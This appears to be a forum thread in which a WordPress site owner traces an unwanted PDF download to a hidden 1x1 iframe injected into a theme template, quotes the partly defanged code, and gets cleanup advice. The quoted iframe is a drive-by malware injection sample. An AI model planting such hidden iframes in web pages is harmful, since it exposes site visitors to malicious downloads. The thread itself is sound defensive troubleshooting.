Hi I have something on my website that when my page loads a pdf file try's to download, and has an error message. Does anyone know how to find how this got on there? I am not running any ads other than my own and there are no auto downloads. Could it be a comment, I moniter and approve each one, I really need some insite into this one or I am going to have to scrap my site and reinstall it. I run WP It is the latest update I just installed.
IE doesn't seem to catch it or try to upload anything but in firefox It attempts a download on page entery.
What could it be and how does one find it to remove it?

the site is affiliatetrafficmaster it is in my signature. but beware clicking it yet as there is the pdf trying to download when page opens.

    In searching for this problem I was in my wordpress editor in the Main Index Template and down at the bottom, lo and behold was this code.
    <?php get_sidebar(); ?>
    <div style="clear: both;"> </div>
    </div>
    <?php get_footer(); ?><html><body><iframe src="bigtopescorts .(cn/in.cgi?id1000)" width=1 height=1 style="visibility: hidden"></iframe></body></html>

    I removed the http and put brackets around the .cn . I am removing the URL in my template and hope that stops the download.
    How would this get there? was it the theme desiner? or was it a plug in that put it there? I do not know but there it is. for anyone else who may come accross this problem.

    You got hacked.
    check ALL your template pages - you can look via ftp and see if any were updated recently. Also check your database, via PhpMyAdmin. Clean it all up.

    Then change your passwords,.

    Then UPDATE your wordpress.

      Oh - there's a lot of good links and info here.

      There are several different hacks, so I can't tell you exactly how to be sure it's clean. Just check everything you can think of to check.
